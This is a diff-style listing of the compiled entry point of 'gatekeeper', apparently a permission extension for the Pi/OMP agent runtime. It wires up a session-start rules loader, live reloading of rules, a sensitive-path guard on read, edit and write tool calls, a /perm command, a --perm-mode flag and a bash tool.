*/
|
|
2494
|
+
const BASH_TOOL_DEFINITION = {
|
|
2495
|
+
name: "bash",
|
|
2496
|
+
label: "Bash",
|
|
2497
|
+
description: BASH_TOOL_DESCRIPTION,
|
|
2498
|
+
parameters: BASH_TOOL_PARAMETERS,
|
|
2499
|
+
execute: bashExecute,
|
|
2500
|
+
};
|
|
2501
|
+
/** ─── Extension Entry Point (TSK-001-08) ─── */
|
|
2502
|
+
/**
|
|
2503
|
+
* User-visible description surfaced in pi/omp's `--help` output for the `--perm-mode` flag. Centralized so a future rename
|
|
2504
|
+
* of the flag or its valid values flows from one edit to the registration call and the matching test assertion.
|
|
2505
|
+
*/
|
|
2506
|
+
const PERM_MODE_FLAG_DESCRIPTION = "Default permission mode for the current session (low / medium / high). Overrides the persisted value without rewriting it.";
|
|
2507
|
+
/**
|
|
2508
|
+
* User-visible description surfaced in pi/omp's `/help` listing for the `/perm` slash command. Kept in lock-step with the
|
|
2509
|
+
* subcommand catalogue {@link PERM_SUBCOMMANDS} so the help text matches the supported subcommands.
|
|
2510
|
+
*/
|
|
2511
|
+
const PERM_COMMAND_DESCRIPTION = "Switch the active permission level (low / medium / high) or print the resolved allowlist path and current rules.";
|
|
2512
|
+
/**
|
|
2513
|
+
* `session_start` handler registered by {@link gatekeeper}. Sequences the four bootstrap steps in canonical order:
|
|
2514
|
+
* 1. {@link loadRules} — populates the in-memory `rules` cache from disk (or bundled defaults on first run) and surfaces
|
|
2515
|
+
* malformed payloads via `ctx.ui.notify("warning")` per `loadRules`'s documented contract.
|
|
2516
|
+
* 2. Mirror `currentMode` from the loaded `rules.currentMode` (or leave the module default `medium` if the file is malformed
|
|
2517
|
+
* and `currentMode` is `null`).
|
|
2518
|
+
* 3. {@link applyFlagOverride} — consults `pi.getFlag(PERM_MODE_FLAG_NAME)` and overrides `currentMode` for this session only.
|
|
2519
|
+
* The persisted file is never written from this path (AC-001-03 contract).
|
|
2520
|
+
* 4. {@link updateStatus} — renders the resolved level on the TUI footer (FLOW-04 Step 4 + FLOW-05 `level_change_latency_ms` <= 100 ms).
|
|
2521
|
+
*
|
|
2522
|
+
* Flow references: FLOW-04 Step 4 (status indicator appears), FLOW-05 Step 3 (status updates), FLOW-09 (manual rules discovery is
|
|
2523
|
+
* primed by the persisted level that this handler mirrors).
|
|
2524
|
+
*/
|
|
2525
|
+
function sessionStartHandler(pi) {
|
|
2526
|
+
return (_event, ctx) => {
|
|
2527
|
+
rules = loadRules(ctx);
|
|
2528
|
+
if (isPermissionLevel(rules.currentMode)) {
|
|
2529
|
+
currentMode = rules.currentMode;
|
|
2530
|
+
}
|
|
2531
|
+
// ISS-005 (TSK-005-02): clear the ephemeral and session allow sets so a long-lived Pi/OMP
|
|
2532
|
+
// runtime that outlives a single developer session does not carry stale "Allow Once" or
|
|
2533
|
+
// "Allow This Session" unlocks forward. Both sets are re-seeded only by fresh clicks in
|
|
2534
|
+
// the new session.
|
|
2535
|
+
ephemeralAllowList = new Set();
|
|
2536
|
+
sessionAllowList = new Set();
|
|
2537
|
+
applyFlagOverride(pi);
|
|
2538
|
+
updateStatus(ctx);
|
|
2539
|
+
};
|
|
2540
|
+
}
|
|
2541
|
+
/**
|
|
2542
|
+
* `tool_call` handler registered by {@link gatekeeper} for live reload (FR-011).
|
|
2543
|
+
* Calls {@link loadRules} before every tool-call evaluation so manual edits to
|
|
2544
|
+
* `perm-rules.json` take effect immediately without a restart.
|
|
2545
|
+
*
|
|
2546
|
+
* Pass-through contract:
|
|
2547
|
+
* - Returns `undefined` (never blocks the tool-call chain — permission enforcement
|
|
2548
|
+
* is reserved for ISS-006).
|
|
2549
|
+
* - Never calls `ctx.ui.notify` at "denied" level.
|
|
2550
|
+
* - `loadRules` will call `ctx.ui.notify` at "warning" level only when the JSON
|
|
2551
|
+
* is malformed, falling back to the last valid rules in memory.
|
|
2552
|
+
*
|
|
2553
|
+
* Flow references: FR-011 (ISS-004 Rule Live Reload). Serves FLOW-09 Step 4
|
|
2554
|
+
* (gatekeeper reloads the file on the next tool-call evaluation) and FLOW-04 Step 3
|
|
2555
|
+
* (extension registers a tool-call hook on the next pi/omp launch). FLOW-10 cascade
|
|
2556
|
+
* integrity is preserved because the hook only reads, never writes.
|
|
2557
|
+
*/
|
|
2558
|
+
function toolCallHandler(_event, ctx) {
|
|
2559
|
+
try {
|
|
2560
|
+
loadRules(ctx);
|
|
2561
|
+
}
|
|
2562
|
+
catch (err) {
|
|
2563
|
+
// Best-effort: an unexpected I/O error (EXDEV cross-device rename, EIO, etc.) during
|
|
2564
|
+
// loadRules' bootstrap path must not propagate through Pi/OMP's event subscriber chain.
|
|
2565
|
+
// Notify the developer so they can investigate filesystem state, then return undefined
|
|
2566
|
+
// (pass-through) so the chain continues to ISS-006's sensitive-path guard.
|
|
2567
|
+
ctx.ui.notify(`perm-rules.json reload failed: ${err.message}`, "warning");
|
|
2568
|
+
}
|
|
2569
|
+
}
|
|
2570
|
+
/**
|
|
2571
|
+
* Extract the `path` field from the built-in read / edit / write tool events,
|
|
2572
|
+
* or `undefined` for any other tool name or for events whose `input.path`
|
|
2573
|
+
* is not a string.
|
|
2574
|
+
*
|
|
2575
|
+
* The tool-name check is RUNTIME (`event.toolName === "..."`), not type
|
|
2576
|
+
* narrowing, because `CustomToolCallEvent.toolName` is typed `string` per
|
|
2577
|
+
* `extension-api/types.d.ts:733-734` and would otherwise overlap with the
|
|
2578
|
+
* built-in tool-name literals. The runtime strict-equality gate is what
|
|
2579
|
+
* distinguishes `read` / `edit` / `write` from every other tool name
|
|
2580
|
+
* (`bash`, `grep`, `find`, `ls`, custom tools), keeping the documented
|
|
2581
|
+
* "bash passes through" known gap (HITL-003 / RSK-003 / `design.md:113`
|
|
2582
|
+
* CV-3) intentional, NOT a regression.
|
|
2583
|
+
*
|
|
2584
|
+
* The `input.path` cast to `{ path?: unknown }` plus `typeof === "string"`
|
|
2585
|
+
* gate is the safe-rather-than-sorry equivalent of trusting the static type
|
|
2586
|
+
* — a missing / `null` / non-string path (malformed custom tool payload
|
|
2587
|
+
* that happens to overlap with the tool-name literal) falls through to
|
|
2588
|
+
* `undefined` so the caller never false-blocks on unparseable input.
|
|
2589
|
+
*/
|
|
2590
|
+
function extractPathFromToolCall(event) {
|
|
2591
|
+
const { toolName } = event;
|
|
2592
|
+
if (toolName !== "read" && toolName !== "edit" && toolName !== "write") {
|
|
2593
|
+
return undefined;
|
|
2594
|
+
}
|
|
2595
|
+
const { path } = event.input;
|
|
2596
|
+
return typeof path === "string" ? path : undefined;
|
|
2597
|
+
}
|
|
2598
|
+
/**
|
|
2599
|
+
* ISS-006: Sensitive Path Guard — `tool_call` handler that blocks
|
|
2600
|
+
* `read` / `edit` / `write` of any path classified sensitive by
|
|
2601
|
+
* {@link isSensitivePath}. Returns `{ block: true, reason }` on a match
|
|
2602
|
+
* or `undefined` for pass-through. Registered by {@link gatekeeper} after
|
|
2603
|
+
* the ISS-004 live-reload handler so Pi/OMP iterates subscribers in
|
|
2604
|
+
* registration order.
|
|
2605
|
+
*
|
|
2606
|
+
* Policy (pinned by `test/sensitive-path.test.ts` AC-007-XX + edge-case
|
|
2607
|
+
* describes):
|
|
2608
|
+
* - **Tool-name gate** ({@link extractPathFromToolCall}) — only
|
|
2609
|
+
* `read` / `edit` / `write` are evaluated; everything else passes
|
|
2610
|
+
* through (the `bash` gap is intentional per HITL-003 / RSK-003).
|
|
2611
|
+
* - **Skill-script short-circuit** (US-021) — {@link SKILL_SCRIPT_PATTERN}
|
|
2612
|
+
* runs BEFORE the pattern scan so a skill script whose filename would
|
|
2613
|
+
* match (e.g. `/skills/.env-helper.sh`) still passes through.
|
|
2614
|
+
* - **Mode-independent** (US-020 / AC-007-05) — this handler does NOT
|
|
2615
|
+
* consult `currentMode`; the guard is a cross-cutting security
|
|
2616
|
+
* invariant (Constitution §1.4) that runs in every permission level.
|
|
2617
|
+
* - **Headless safety** (Constitution §1.6) — the block decision fires
|
|
2618
|
+
* regardless of `ctx.hasUI`; the user-visible notify is gated through
|
|
2619
|
+
* {@link notifySensitivePathBlock} which is a no-op when UI is absent.
|
|
2620
|
+
*
|
|
2621
|
+
* Flow references: `[]` (cross-cutting; no dedicated FLOW-XX per
|
|
2622
|
+
* `architecture.md:143`). AC-007-XX pinned via explicit named tests.
|
|
2623
|
+
*/
|
|
2624
|
+
function sensitivePathToolCallHandler(event, ctx) {
|
|
2625
|
+
const path = extractPathFromToolCall(event);
|
|
2626
|
+
if (path === undefined)
|
|
2627
|
+
return undefined;
|
|
2628
|
+
if (SKILL_SCRIPT_PATTERN.test(path))
|
|
2629
|
+
return undefined;
|
|
2630
|
+
const { match, label } = isSensitivePath(path);
|
|
2631
|
+
if (!match)
|
|
2632
|
+
return undefined;
|
|
2633
|
+
notifySensitivePathBlock(path, ctx);
|
|
2634
|
+
return { block: true, reason: `Sensitive path: ${label}` };
|
|
2635
|
+
}
|
|
2636
|
+
/**
|
|
2637
|
+
* Pi/OMP extension entry point — registers the foundation-shard surfaces:
|
|
2638
|
+
* - `pi.on("session_start", handler)` -> {@link sessionStartHandler}
|
|
2639
|
+
* (FLOW-04 Step 3 — registers a session-start hook on next pi/omp launch)
|
|
2640
|
+
* - `pi.on("tool_call", handler)` -> {@link toolCallHandler}
|
|
2641
|
+
* (FR-011 / ISS-004: live-reload rules before every tool-call evaluation —
|
|
2642
|
+
* pass-through, refreshes the in-memory rules cache so manual edits take effect
|
|
2643
|
+
* without a restart)
|
|
2644
|
+
* - `pi.on("tool_call", handler)` -> {@link sensitivePathToolCallHandler}
|
|
2645
|
+
* (FR-007 / ISS-006: sensitive-path blocking — returns `{ block: true, reason }`
|
|
2646
|
+
* on match, or `undefined` for pass-through. Mode-independent; runs in every
|
|
2647
|
+
* permission level; headless-safe.)
|
|
2648
|
+
* - `pi.registerFlag(PERM_MODE_FLAG_NAME, ...)` -> `--perm-mode <low|medium|high>`
|
|
2649
|
+
* (FLOW-04 CLI override — per-session mode override without rewriting the persisted file)
|
|
2650
|
+
* - `pi.registerCommand("perm", { handler: permCommandHandler, ... })`
|
|
2651
|
+
* (FLOW-05 `/perm` cycle + FLOW-09 `/perm allowlist` discovery)
|
|
2652
|
+
* - `pi.registerTool(BASH_TOOL_DEFINITION)` -> `bash` tool
|
|
2653
|
+
* (ISS-005 / TSK-005-03: agent-facing bash execute handler — registered LAST so the
|
|
2654
|
+
* live-reload cache refresh and bash registration order are decoupled.)
|
|
2655
|
+
*
|
|
2656
|
+
* Registration order within each Pi/OMP subscription kind matters:
|
|
2657
|
+
* Pi/OMP iterates all `tool_call` subscribers in registration order
|
|
2658
|
+
* (`extension-api/types.d.ts:664-666`). The two `tool_call` handlers are ordered so the
|
|
2659
|
+
* live-reload cache refresh (ISS-004) runs first, then the sensitive-path guard (ISS-006)
|
|
2660
|
+
* sees fresh state. Order tests in `test/foundation.test.ts` (`extension entry-point wiring`)
|
|
2661
|
+
* pin every structural invariant — handler count, handler position, call-order chain.
|
|
2662
|
+
* The `tool_call subscription ordering` describe in `test/sensitive-path.test.ts` pins the
|
|
2663
|
+
* exact-2 count and order so a future register-order swap is intentional and tested.
|
|
2664
|
+
*
|
|
2665
|
+
* Flow references: FLOW-04 (install) + FLOW-05 (switch level) + FLOW-09 (manage rules manually).
|
|
2666
|
+
* Every prior shard's helpers (`loadRules`, `updateStatus`, `cycleMode`, `applyFlagOverride`,
|
|
2667
|
+
* `permCommandHandler`, `showAllowlist`) become reachable only after this default export wires
|
|
2668
|
+
* them onto the ExtensionAPI.
|
|
2669
|
+
*/
|
|
2670
|
+
/**
|
|
2671
|
+
* Module-level ExtensionAPI reference, captured once at extension load. Used by
|
|
2672
|
+
* {@link updateStatus} to emit the `perm:changed` event on the shared extension
|
|
2673
|
+
* event bus so the footer extension (which subscribes to this event) can update
|
|
2674
|
+
* the circle indicator without polling the filesystem.
|
|
2675
|
+
*/
|
|
2676
|
+
let piRef;
|
|
2677
|
+
export default function gatekeeper(pi) {
|
|
2678
|
+
piRef = pi;
|
|
2679
|
+
// Schema upgrade: if the on-disk perm-rules.json version is older than the bundled defaults,
|
|
2680
|
+
// back up the old file and re-bootstrap. This ensures improvements like expanded `low.allow`
|
|
2681
|
+
// entries automatically take effect on extension load without manual deletion.
|
|
2682
|
+
try {
|
|
2683
|
+
const rulesPath = getRulesPath();
|
|
2684
|
+
if (existsSync(rulesPath)) {
|
|
2685
|
+
const raw = readFileSync(rulesPath, "utf8");
|
|
2686
|
+
const parsed = JSON.parse(raw);
|
|
2687
|
+
const bundledVersion = JSON.parse(readFileSync(DEFAULT_RULES_PATH, "utf8"));
|
|
2688
|
+
if (typeof parsed.version === "number" && parsed.version < bundledVersion.version) {
|
|
2689
|
+
renameSync(rulesPath, `${rulesPath}.v${parsed.version}.bak`);
|
|
2690
|
+
bootstrapRulesAt(rulesPath);
|
|
2691
|
+
}
|
|
2692
|
+
}
|
|
2693
|
+
}
|
|
2694
|
+
catch {
|
|
2695
|
+
// Migration failure is non-fatal — the stale file stays on disk and
|
|
2696
|
+
// loadRules will handle it gracefully via malformed-file fallback.
|
|
2697
|
+
}
|
|
2698
|
+
pi.on("session_start", sessionStartHandler(pi));
|
|
2699
|
+
// registered FIRST — live-reload cache refresh
|
|
2700
|
+
pi.on("tool_call", toolCallHandler);
|
|
2701
|
+
// registered SECOND — sensitive-path guard
|
|
2702
|
+
pi.on("tool_call", sensitivePathToolCallHandler);
|
|
2703
|
+
pi.registerFlag(PERM_MODE_FLAG_NAME, {
|
|
2704
|
+
description: PERM_MODE_FLAG_DESCRIPTION,
|
|
2705
|
+
type: "string",
|
|
2706
|
+
default: "medium",
|
|
2707
|
+
});
|
|
2708
|
+
pi.registerCommand("perm", {
|
|
2709
|
+
description: PERM_COMMAND_DESCRIPTION,
|
|
2710
|
+
handler: permCommandHandler,
|
|
2711
|
+
});
|
|
2712
|
+
// registered LAST — bash execute handler
|
|
2713
|
+
pi.registerTool(BASH_TOOL_DEFINITION);
|
|
2714
|
+
}
|
|
2715
|
+
//# sourceMappingURL=gatekeeper.js.map
|